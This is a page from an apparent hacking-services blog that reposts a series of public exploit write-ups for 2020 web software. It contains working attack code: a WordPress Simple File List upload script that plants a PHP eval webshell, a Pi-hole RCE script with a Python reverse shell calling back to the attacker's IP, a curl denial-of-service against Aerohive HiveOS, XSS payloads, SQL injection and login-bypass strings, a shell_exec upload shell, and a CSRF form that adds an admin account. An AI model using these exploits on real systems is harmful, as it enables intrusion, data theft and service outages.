Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863583058

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: OpenZ ERP 3.6.60 - Persistent Cross-Site Scripting
# Date: 2020-05-11
# Exploit Author: Vulnerability-Lab
# Vendor: https://www.openz.de/
# https://www.openz.de/download.html

Document Title:
===============
OpenZ v3.6.60 ERP - Employee Persistent XSS Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2234


Common Vulnerability Scoring System:
====================================
4.6


Product & Service Introduction:
===============================
https://www.openz.de/
https://www.openz.de/download.html


Affected Product(s):
====================
OpenZ
Product: OpenZ v3.6.60 - ERP (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-05-06: Public Disclosure (Vulnerability Laboratory)


Technical Details & Description:
================================
A persistent cross site scripting web vulnerability has been discovered
in the official OpenZ v3.6.60 ERP web-application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The persistent vulnerability is located in the `inpname` and
`inpdescripción` parameters of the `Employee` add/register/edit
module in the `menu.html` file. Remote attackers with low privileges are
able to inject own malicious persistent script code as
name or description. The injected code can be used to attack the
frontend or backend of the web-application. The request method
to inject is POST and the attack vector is located on the
application-side. The attack can be triggered from low privilege user
accounts against higher privilege user accounts like manager or
administrators to elevate privileges via session hijacking.

Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected
application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Employee

Vulnerable Input(s):
[+] Mitarbeiter Name
[+] Beschreibung

Vulnerable File(s):
[+] Menu.html

Vulnerable Parameter(s):
[+] inpname
[+] inpdescription


Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by low privileged web
application user account with low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the openz web-application
2. Register, add or edit via profile settings the inpname &
inpdescription parameter inputs
3. Edit inpname & inpdescription parameter of the profile and save the entry
Note: The execute occurs on preview of the user credentials in the
/org.openbravo.zsoft.smartui.Employee/SalesRepVendor8BAE92BA22C14B1487EB2B247FA4A977_Edition.html
4. Successful reproduce of the persistent web vulnerability!



--- POC Session Logs [POST] --- (Inject via Add / Edit)
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/EmployeeA3D0B320B69845B386024B5FF6B1E266_Relation.html
Host: localhost:8080
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 1464
Origin: https://localhost:8080
Connection: keep-alive
Referer:
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/EmployeeA3D0B320B69845B386024B5FF6B1E266_Relation.html
Cookie: JSESSIONID=0692EC25BA33001B002059E182BA1544;
_ga=GA1.2.403279990.1587913275; _gid=GA1.2.274268317.1587913275
Command=SAVE_EDIT_RELATION&inpLastFieldChanged=inpdescription&inpkeyColumnIdInp=&inpParentKeyColumn=&inpDirectKey=&
inpKeyReferenceColumnName=&inpTableReferenceId=&inpKeyReferenceId=&autosave=N&inpnewdatasetindicator=&inpnewdataseIdVal=&
inpenabledautosave=Y&inpisemployee=Y&inpistaxexempt=N&inpadClientId=C726FEC915A54A0995C568555DA5BB3C&inpaAssetId=&
inpcGreetingId=&inpcBpartnerId=8BEB3E9FD5D24F9BBCF777A51D53F5AF&inpissummary=N&inprating=N&inpTableId=AC9B98C649CD4F55B37714008EE8519F&
inpkeyColumnId=C_BPartner_ID&inpKeyName=inpcBpartnerId&mappingName=/org.openbravo.zsoft.smartui.Employee/
EmployeeA3D0B320B69845B386024B5FF6B1E266_Relation.html&inpwindowId=39D3CD9F77A942D690965D49106F011B&
inpTabId=A3D0B320B69845B386024B5FF6B1E266&inpCommandType=EDIT&updatedTimestamp=20200426170335&inpParentOrganization=&
inpadOrgId=1AF9E07685234E0A9FEC1D9B58A4876B&inpadImageId=&
inpvalue=325235&inpname=>"><iframe
src=evil.source><iframe></iframe></iframe>&
inpdescription=>"><iframe
src=evil.source><iframe></iframe></iframe>&inpimageurl=31337&
inpisactive=Y&inpisinresourceplan=Y&inpapprovalamt=0,00&inpcSalaryCategoryId=&inptaxid=&inpreferenceno=&
inpcBpGroupId=42691AE1D13F400AB814B70361E167C3&inpadLanguage=de_DE&inpcountry=Deutschland&inpzipcode=&
inpcity=&inpcreated=26-04-2020
17:03:35&inpcreatedby=Service&inpupdated=26-04-2020
17:03:35&inpupdatedby=Service
-
POST: HTTP/1.1 302 Found
Server: Apache/2.4.38 (Debian)
Location:
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/EmployeeA3D0B320B69845B386024B5FF6B1E266_Relation.html?Command=RELATION
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
- (Execution in Listing)
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/evil.source
Host: myerponline.de
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Referer:
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/SalesRepVendor8BAE92BA22C14B1487EB2B247FA4A977_Edition.html
Cookie: JSESSIONID=0692EC25BA33001B002059E182BA1544;
_ga=GA1.2.403279990.1587913275; _gid=GA1.2.274268317.1587913275
-
GET: HTTP/1.1 200 OK
Server: Apache/2.4.38 (Debian)
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 1110
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive


PoC: Vulnerable Source (/security/Menu.html)
<table width="0px" height="0px" cellspacing="0" cellpadding="0">
<tbody><tr>
<td><input type="text" class="DataGrid_Table_Dummy_Input"
id="grid_table_dummy_input"></td>
</tr>
</tbody></table>
<input type="hidden" name="inpcBpartnerId"
value="8BEB3E9FD5D24F9BBCF777A51D53F5AF" id="keyParent">
<div class="RelationInfoContainer">
<table class="RelationInfo">
<tbody><tr>
<td class="RelationInfoTitle" id="related_info_cont">Business Partner:</td>
<td class="RelationInfoContent" id="paramParentC_BPartner_ID">325235 -
>"><iframe src="a"></TD>
</TR>


Reference(s):
https://localhost:8080/
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/Employee


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
HireHackking 
# Exploit Title: Wordpress Plugin Simple File List 4.2.2 - Remote Code Execution
# Date: 2020-04-19
# Exploit Author: coiffeur
# Vendor Homepage: https://simplefilelist.com/
# Software Link: https://wordpress.org/plugins/simple-file-list/
# Version: Wordpress Simple File List <= v4.2.2

import requests
import random
import hashlib
import sys
import os
import urllib3
urllib3.disable_warnings()

dir_path = '/wp-content/uploads/simple-file-list/'
upload_path = '/wp-content/plugins/simple-file-list/ee-upload-engine.php'
move_path = '/wp-content/plugins/simple-file-list/ee-file-engine.php'


def usage():
    banner = """
NAME: Wordpress v5.4 Simple File List v4.2.2, pre-auth RCE
SYNOPSIS: python wp_simple_file_list_4.2.2.py <URL>
AUTHOR: coiffeur
    """
    print(banner)


def generate():
    filename = f'{random.randint(0, 10000)}.png'
    password = hashlib.md5(bytearray(random.getrandbits(8)
                                     for _ in range(20))).hexdigest()
    with open(f'{filename}', 'wb') as f:
        payload = '<?php if($_POST["password"]=="' + password + \
            '"){eval($_POST["cmd"]);}else{echo "<title>404 Not Found</title><h1>Not Found</h1>";}?>'
        f.write(payload.encode())
    print(f'[ ] File {filename} generated with password: {password}')
    return filename, password


def upload(url, filename):
    files = {'file': (filename, open(filename, 'rb'), 'image/png')}
    datas = {'eeSFL_ID': 1, 'eeSFL_FileUploadDir': dir_path,
             'eeSFL_Timestamp': 1587258885, 'eeSFL_Token': 'ba288252629a5399759b6fde1e205bc2'}
    r = requests.post(url=f'{url}{upload_path}',
                      data=datas, files=files, verify=False)
    r = requests.get(url=f'{url}{dir_path}{filename}', verify=False)
    if r.status_code == 200:
        print(f'[ ] File uploaded at {url}{dir_path}{filename}')
        os.remove(filename)
    else:
        print(f'[*] Failed to upload {filename}')
        exit(-1)
    return filename


def move(url, filename):
    new_filename = f'{filename.split(".")[0]}.php'
    headers = {'Referer': f'{url}/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1',
               'X-Requested-With': 'XMLHttpRequest'}
    datas = {'eeSFL_ID': 1, 'eeFileOld': filename,
             'eeListFolder': '/', 'eeFileAction': f'Rename|{new_filename}'}
    r = requests.post(url=f'{url}{move_path}',
                      data=datas, headers=headers, verify=False)
    if r.status_code == 200:
        print(f'[ ] File moved to {url}{dir_path}{new_filename}')
    else:
        print(f'[*] Failed to move {filename}')
        exit(-1)
    return new_filename


def main(url):
    file_to_upload, password = generate()
    uploaded_file = upload(url, file_to_upload)
    moved_file = move(url, uploaded_file)
    if moved_file:
        print(f'[+] Exploit seem to work.\n[*] Confirmning ...')

    datas = {'password': password, 'cmd': 'phpinfo();'}
    r = requests.post(url=f'{url}{dir_path}{moved_file}',
                      data=datas, verify=False)
    if r.status_code == 200 and r.text.find('php') != -1:
        print('[+] Exploit work !')
        print(f'\tURL: {url}{dir_path}{moved_file}')
        print(f'\tPassword: {password}')


if __name__ == "__main__":
    if (len(sys.argv) < 2):
        usage()
        exit(-1)

    main(sys.argv[1])
HireHackking 
# Exploit Title: Sentrifugo CMS 3.2 - Persistent Cross-Site Scripting
# Dork: N/A
# Date: 2020-05-06
# Exploit Author: Vulnerability-Lab
# Vendor: http://www.sentrifugo.com/
# Link: http://www.sentrifugo.com/download
# Version: 3.2
# Category: Webapps
# CVE: N/A

Document Title:
===============
Sentrifugo v3.2 CMS - Persistent XSS Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2229


Product & Service Introduction:
===============================
http://www.sentrifugo.com/
http://www.sentrifugo.com/download


Affected Product(s):
====================
Sentrifugo
Product: Sentrifugo v3.2 - CMS (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-05-05: Public Disclosure (Vulnerability Laboratory)


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in
the official Mahara v19.10.2 CMS web-application series.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise browser
to web-application requests from the application-side.

The persistent vulnerability is located in the `expense_name` parameters
of the `/expenses/expenses/edit` module in the `index.php` file.
Remote attackers with low privileges are able to inject own malicious
persistent script code as expenses entry. The injected code can
be used to attack the frontend or backend of the web-application. The
request method to inject is POST and the attack vector is located
on the application-side. Entries of expenses can be reviewed in the
backend by higher privileged accounts as well.

Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent external redirects to
malicious source and persistent manipulation of affected application
modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] index.php/expenses/expenses/edit

Vulnerable Input(s):
[+] Expenses Name

Vulnerable File(s):
[+] index.php

Vulnerable Parameter(s):
[+] expense_name

Affected Module(s):
[+] index.php/expenses/expenses


Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by low privileged web
application user account with low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.


PoC: Vulnerable Source
<div id="maincontentdiv">	
<div id="dialog-confirm" style="display:none;">
<div class="newframe-div">
<div class="new-form-ui height32">
<div class="division">
<input type="text" maxlength="12" id="number_value"
name="number_value"></div>
<span class="errors"
id="errors-contactnumber"></span></div></div></div>								
<div id="empstatus-alert" style="display:none;">
<div class="newframe-div"><div id="empstatusmessage"></div></div></div>
<div id="empleaves-alert" style="display:none;">
<div class="newframe-div"><div id="empleavesmessage"></div></div></div>	


--- PoC Session Logs [POST] --- (Expenses Inject)
http://sentrifugo.localhost:8080/index.php/expenses/expenses/edit
Host: sentrifugo.localhost:8080
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 352
Origin: http://sentrifugo.localhost:8080
Connection: keep-alive
Referer: http://sentrifugo.localhost:8080/index.php/expenses/expenses/edit
Cookie: PHPSESSID=h67jk6dashpvgn5n3buc6uia87;
_ga=GA1.2.788961556.1587849443; _gid=GA1.2.1158360779.1587849443
id=&limit=&offset=&parameter=all&currencyid=1&file_original_names=&file_new_names=&last_inserted_receipts=&receiptId=&expense_Id=&
expense_name=<img src="evil.source"
onload=alert(document.domain)>&category_id=&project_id=&expense_date=&expense_currency_id=2&
expense_amount=&cal_amount=0&is_from_advance=&expense_payment_id=&expense_payment_ref_no=&trip_id=&description=&post_receipt_ids=&submit=Save
-
POST: HTTP/1.1 200 OK
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 19284
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html


Reference(s):
http://sentrifugo.localhost:8080/index.php
http://sentrifugo.localhost:8080/index.php/expenses
http://sentrifugo.localhost:8080/index.php/expenses/expenses/
http://sentrifugo.localhost:8080/index.php/expenses/expenses/edit


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
HireHackking 
#!/usr/bin/env python3

# Pi-hole <= 4.4 RCE
# Author: Nick Frichette
# Homepage: https://frichetten.com
#
# Note: This exploit must be run with root privileges and port 80 must not be occupied.
#       While it is possible to exploit this from a non standard port, for the sake of 
#       simplicity (and not having to modify the payload) please run it with sudo privileges.
#       Or setup socat and route it through there?

import requests
import sys
import socket
import _thread
import time

if len(sys.argv) < 4:
    print("[-] Usage: sudo ./cve.py *Session Cookie* *URL of Target* *Your IP* *R Shell Port*")
    print("\nThis script will take 5 parameters:\n  Session Cookie: The authenticated session token.\n  URL of Target: The target's url, example: http://192.168.1.10\n  Your IP: The IP address of the listening machine.\n  Reverse Shell Port: The listening port for your reverse shell.")
    exit()

SESSION = dict(PHPSESSID=sys.argv[1])
TARGET_IP = sys.argv[2]
LOCAL_IP = sys.argv[3]
LOCAL_PORT = sys.argv[4]

# Surpress https verify warnings
# I'm asuming some instances will use self-signed certs
requests.packages.urllib3.disable_warnings()

# Payload taken from http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
# I opted to use the Python3 reverse shell one liner over the full PHP reverse shell.
shell_payload = """<?php
  shell_exec("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"%s\\\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);'")
?>
""" %(LOCAL_IP, LOCAL_PORT)

root_payload = """<?php
  shell_exec("sudo pihole -a -t")
?>
"""

def send_response(thread_name):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind((LOCAL_IP,int(80)))
    sock.listen(5)

    connected = False
    while not connected:
        conn,addr = sock.accept()
        if thread_name == "T1":
            print("[+] Received First Callback")
            conn.sendall(b"HTTP/1.1 200 OK\n\nstuff\n")
        elif thread_name == "T2":
            print("[+] Received Second Callback")
            print("[+] Uploading Root Payload")
            conn.sendall(bytes(root_payload, "utf-8"))
        elif thread_name == "T3":
            print("[+] Received Third Callback")
            conn.sendall(b"HTTP/1.1 200 OK\n\nstuff\n")
        else:
            print("[+] Received Fourth Callback")
            print("[+] Uploading Shell Payload")
            conn.sendall(bytes(shell_payload, "utf-8"))
        conn.close()
        connected = True

    sock.close()

_thread.start_new_thread(send_response,("T1",))


# Fetch token
resp = requests.get(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, verify=False)
response = str(resp.content)
token_loc = response.find("name=\"token\"")
token = response[token_loc+20:token_loc+64]


# Make request with token
data = {"newuserlists":"http://"+LOCAL_IP+"#\" -o fun.php -d \"","field":"adlists","token":token,"submit":"saveupdate"}
resp = requests.post(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, data=data, verify=False)
if resp.status_code == 200:
    print("[+] Put Root Stager Success")


# Update gravity
resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)

time.sleep(3)
_thread.start_new_thread(send_response,("T2",))


# Update again to trigger upload of root redirect
resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)

time.sleep(1)
_thread.start_new_thread(send_response,("T3",))

data = {"newuserlists":"http://"+LOCAL_IP+"#\" -o teleporter.php -d \"","field":"adlists","token":token,"submit":"saveupdate"}
resp = requests.post(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, data=data, verify=False)
if resp.status_code == 200:
    print("[+] Put Shell Stager Success")

resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)

time.sleep(1)
_thread.start_new_thread(send_response,("T4",))

resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)


print("[+] Triggering Exploit")
try:
    requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/fun.php", cookies=SESSION, timeout=3, verify=False)
except:
    # We should be silent to avoid filling the cli window
    None
HireHackking 
# Exploit title : Extreme Networks Aerohive HiveOS 11.0 - Remote Denial of Service (PoC)
# Exploit Author : LiquidWorm
# Date : 2020-05-06
# Vendor: Extreme Networks
# Product web page: https://www.extremenetworks.com
# Datasheet: https://www.aerohive.com/wp-content/uploads/Aerohive_Datasheet_HiveOS.pdf
# Affected version: <=11.x

#!/bin/bash
#
#
# Extreme Networks Aerohive HiveOS <=11.x Remote Denial of Service Exploit
#
#
# Vendor: Extreme Networks
# Product web page: https://www.extremenetworks.com
# Datasheet: https://www.aerohive.com/wp-content/uploads/Aerohive_Datasheet_HiveOS.pdf
# Affected version: <=11.x
#
# Summary: Aerohive HiveOS is the network operating system that powers
# all Aerohive access points, based on a feature-rich Cooperative Control
# architecture. HiveOS enables Aerohive devices to organize into groups,
# or 'hives', which allows functionality like fast roaming, user-based
# access control and fully stateful application-aware firewall policies,
# as well as additional security and RF networking features - all without
# the need for a centralized or dedicated controller.
#
# Desc: An unauthenticated malicious user can trigger a Denial of Service
# (DoS) attack when sending specific application layer packets towards the
# Aerohive NetConfig UI. This PoC exploit renders the application unusable
# for 305 seconds or 5 minutes with a single HTTP request using the action.php5
# script calling the CliWindow function thru the _page parameter, denying
# access to the web server hive user interface.
#
# Vendor mitigation:
# CLI> no system web-server hive-ui enable
#
# Tested on: Hiawatha v9.6
#
#
# Vulnerability discvered by Gjoko 'LiquidWorm' Krstic
#                            @zeroscience
#
#
# Advisory ID: ZSL-2020-5566
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5566.php
#
#
# 05.12.2019
#

if [ "$#" -ne 1 ]; then
	echo -ne "\nUsage: $0 [ipaddr]\n\n"
	exit
fi

IP=$1

SBYTES=`echo -e \
"\x61\x63\x74\x69\x6f\x6e\x2e"\
"\x70\x68\x70\x35\x3f\x5f\x70"\
"\x61\x67\x65\x3d\x43\x6c\x69"\
"\x57\x69\x6e\x64\x6f\x77\x26"\
"\x5f\x61\x63\x74\x69\x6f\x6e"\
"\x3d\x67\x65\x74\x26\x5f\x61"\
"\x63\x74\x69\x6f\x6e\x54\x79"\
"\x70\x65\x3d\x31"`##_000000251

curl -vk "https://$IP/$SBYTES" --user-agent "Profesorke/Dzvoneshe"
HireHackking 
# Exploit Title: Online Clothing Store 1.0 - Arbitrary File Upload
# Date: 2020-05-05
# Exploit Author: Sushant Kamble and Saurav Shukla
# Vendor Homepage: https://www.sourcecodester.com/php/14185/online-clothing-store.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-clothing-store_0.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4


#Vulnerable Page: Products.php

#Exploit
	Open Products.php and select any product
	Fill details
	Create php shell code with below script
		<?php echo shell_exec($_GET['e'].' 2>&1'); ?>
	Click on upload Image
	Select php file
	Click Submet
	Access below URL:
		http://localhost/online%20Clothing%20Store/Products/shell.php?e=dir
	add system commands after e to execute it.
HireHackking 
# Exploit Title: School File Management System 1.0  - 'username' SQL Injection
# Date: 2020-05-04
# Exploit Author: Tarun Sehgal
# Vendor Homepage: https://www.sourcecodester.com/php/14155/school-file-management-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/school-file-management-system.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

---------------------------------------------------------------------------------

#parameter Vulnerable: username
# Injected Request
POST /sfms/admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 173
Origin: http://localhost
Connection: close
Referer: http://localhost/sfms/admin/index.php
Cookie: PHPSESSID=084gi60nhgqp5lpba3q6qngk9g
Upgrade-Insecure-Requests: 1

username=admin' OR 1 GROUP BY CONCAT(database(),(SELECT (CASE WHEN (7665=7665) THEN 1 ELSE 0 END)),0x3a,0x3a,version(),FLOOR(RAND(0)*2)) HAVING MIN(0)#&password=admin&login=



//Comment
Above request will print database name and MariaDB version.
HireHackking 
# Title: Draytek VigorAP 1000C - Persistent Cross-Site Scripting
# Author: Vulnerability Laboratory
# Date: 2020-05-07
# Vendor: https://www.draytek.com/
# Software: https://www.draytek.com/products/vigorap-903/
# CVE: N/A

Document Title:
===============
Draytek VigorAP - (RADIUS) Persistent XSS Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2244


Common Vulnerability Scoring System:
====================================
4


Product & Service Introduction:
===============================
https://www.draytek.com/
https://www.draytek.com/products/vigorap-903/



Affected Product(s):
====================
Draytek
[+] VigorAP 1000C | 1.3.2
[+] VigorAP 700 | 1.11
[+] VigorAP 710 | 1.2.5
[+] VigorAP 800 | 1.1.4
[+] VigorAP 802 | 1.3.2
[+] VigorAP 810 | 1.2.5
[+] VigorAP 900 | 1.2.0
[+] VigorAP 902 | 1.2.5
[+] VigorAP 903 | 1.3.1
[+] VigorAP 910C | 1.2.5
[+] VigorAP 912C | 1.3.2
[+] VigorAP 918R Series | 1.3.2
[+] VigorAP 920R Series | 1.3.0
[+] All other VigorAP Series with Radius Module


Vulnerability Disclosure Timeline:
==================================
2020-05-07: Public Disclosure (Vulnerability Laboratory)


Technical Details & Description:
================================
A persistent input validation vulnerability has been discovered in the
official Draytek VigorAP product series application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The persistent input validation web vulnerability is located in the
username input field of the RADIUS Setting - RADIUS Server
Configuration module. Remote attackers with limited access are able to
inject own malicious persistent script codes as username.
Other privileged user accounts execute on preview of the modules
context. The request method to inject is POST and the attack
vector is located on the application-side.

Successful exploitation of the vulnerability results in session
hijacking, persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected
application modules.

Vulnerable Module(s):
[+] RADIUS Setting - RADIUS Server Configuration - Users Profile

Vulnerable Input(s):
[+] Username


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be exploited by
remote attackers with low privileged user account and low user interaction.
For security demonstration or to reproduce the security vulnerability
follow the provided information an steüs below to continue.


PoC: Payload
<iframe src=evil.source onload=alert(document.domain)></iframe>


PoC: Vulnerable Source (http:/vigorAP.localhost:50902/home.asp)
<div class="box">
<table width="652" cellspacing="1" cellpadding="2">
<tbody><tr>
<th id="userName">Username</th>
<th id="passwd">Password</th>
<th id="confirmPasswd">Confirm Password</th>
<th id="configure">Configure</th>
</tr>
<tr>
<td><input maxlength="24" type="text" id="addusr"></td>
<td><input maxlength="24" type="password" id="addpwd"></td>
<td><input maxlength="24" type="password" id="addpwdcfm"></td>
<td><input type="button" id="btnAddUser" value="Add" class="add"
onclick="addUser()">
<input type="button" id="btnCancelUser" value="Cancel" class="add"
onclick="cancelUser()"></td>
</tr>
</tbody></table>
<table class="content" width="652" cellspacing="1" cellpadding="2">
<tbody id="usersTb">
<tr>
<th id="userNo">NO.</th>
<th id="userNames">Username</th>
<th id="userSelect">Select</th>
</tr>
<tr><td>1</td><td>test</td><td><input type="checkbox"><input
type="hidden" value="test"></td></tr>
tr><td>2</td><td><iframe src=evil.source
onload=alert(document.domain)></iframe></td><td><input type="checkbox">
<input type="hidden" value="asd"></td></tr></tbody>
</table>
<p><input type="button" id="btnDelSelUser" value="Delete Selected"
class="del" onclick="delSelUser()">
<input type="button" id="btnDelAllUser" value="Delete All" class="del"
onclick="delAllUser()">
</p></div>


Reference(s):
http:/vigorAP.localhost:50902/
http:/vigorAP.localhost:50902/home.asp


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
HireHackking 
# Exploit Title: Car Park Management System 1.0 - Authentication Bypass
# Date: 2020-05-07
# Exploit Author: Tarun Sehgal
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/car-park-management-system.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

---------------------------------------------------------------------------------

#parameter Vulnerable: phone and password
#Injected Request
#Below request will allow authentication bypass

POST /Car%20Park%20Management%20System/proc/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Origin: http://localhost
Connection: close
Referer: http://localhost/Car%20Park%20Management%20System/
Cookie: PHPSESSID=d84agc0pp6qihtm7u775ftvukd
Upgrade-Insecure-Requests: 1

phone=' or '1'='1&password=' or '1'='1&Submit=Log+In
HireHackking 
# Exploit Title: Booked Scheduler 2.7.7 - Authenticated Directory Traversal
# Date: 2020-05-03
# Author: Besim ALTINOK
# Vendor Homepage: https://www.bookedscheduler.com
# Software Link: https://sourceforge.net/projects/phpscheduleit/
# Version: v2.7.7
# Tested on: Xampp
# Credit: İsmail BOZKURT

Description:
----------------------------------------------------------
Vulnerable Parameter: $tn
Vulnerable File: manage_email_templates.php


PoC
-----------

GET
/booked/Web/admin/manage_email_templates.php?dr=template&lang=en_us&tn=vulnerable-parameter&_=1588451710324
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 ***************************
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/booked/Web/admin/manage_email_templates.php
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Cookie: new_version=v%3D2.7.7%2Cfs%3D1588451441;
PHPSESSID=94129ac9414baee8c6ca2f19ab0bcbec
HireHackking 
# Exploit Title: Maian Support Helpdesk 4.3 - Cross-Site Request Forgery (Add Admin)
# Date: 2020-04-26
# Author: Besim ALTINOK
# Vendor Homepage: https://www.maiansupport.com
# Software Link: https://www.maiansupport.com/zip.html
# Version: v4.3
# Tested on: Xampp
# Credit: İsmail BOZKURT
----------------------------------------------

Here is the Detail:
--------------------------------------------------
This product is unprotected against CSRF vulnerabilities. With this attack,
you can add an admin account to the system. In addition, you can add files
from the F.A.Q field as admin.There are no file restrictions here.
Therefore, you can upload a PHP file here with CSRF.

If you want, you can add an admin account first and then access the system
and upload files.
Or you can upload files with direct admin rights.

---------------------------------------------------
CSRF PoC - 1 (Add Administrator user)
-------------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/helpdesk/admin/index.php?ajax=team"
method="POST">
      <input type="hidden" name="enabled" value="yes" />
      <input type="hidden" name="admin" value="yes" />
      <input type="hidden" name="welcome" value="yes" />
      <input type="hidden" name="name" value="Besim&#32;ALTINOK" />
      <input type="hidden" name="email" value="test2&#64;gmail&#46;com" />
      <input type="hidden" name="accpass" value="111111" />
      <input type="hidden" name="timezone" value="0" />
      <input type="hidden" name="language" value="" />
      <input type="hidden" name="addpages" value="" />
      <input type="hidden" name="notePadEnable" value="yes" />
      <input type="hidden" name="enableLog" value="yes" />
      <input type="hidden" name="mergeperms" value="yes" />
      <input type="hidden" name="profile" value="yes" />
      <input type="hidden" name="ticketHistory" value="yes" />
      <input type="hidden" name="close" value="yes" />
      <input type="hidden" name="lock" value="yes" />
      <input type="hidden" name="editperms&#91;&#93;" value="ticket" />
      <input type="hidden" name="editperms&#91;&#93;" value="reply" />
